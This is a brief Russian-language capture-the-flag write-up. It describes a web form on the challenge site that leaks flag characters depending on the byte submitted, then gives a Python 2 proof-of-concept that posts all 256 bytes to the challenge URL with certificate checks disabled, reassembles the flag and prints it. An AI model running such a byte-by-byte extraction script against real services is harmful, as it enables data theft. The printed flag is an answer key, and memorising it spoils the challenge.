На главной странице форма, вводя в которую различные байты получаем каждый раз другой вывод.
Выглядит так, будто в зависимости от нашего ввода, выводятся определенные байты флага, остальные заменяются звездочкой.
poc.py
:
#!/usr/bin/python2
# -*- coding: utf-8 -*-
from __future__ import print_function
import re
import requests
import urllib3
import sys
url = 'https://7.owaspctf.gq/'
def leak():
flag = ['*'] * 33
for _ in xrange(256):
_ = chr(_)
response = requests.post(url, data={'flag_check': _}, verify=False)
result = re.search(r'</form>([^<]+)', response.text)
if not result:
continue
result = list(result.group(1))
for i, c in enumerate(result):
if c != '*':
flag[i] = c
print('[{:02x}] {}'.format(ord(_), ''.join(flag)))
if __name__ == '__main__':
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
leak()
FLAG{To_infinity...and_beyond!}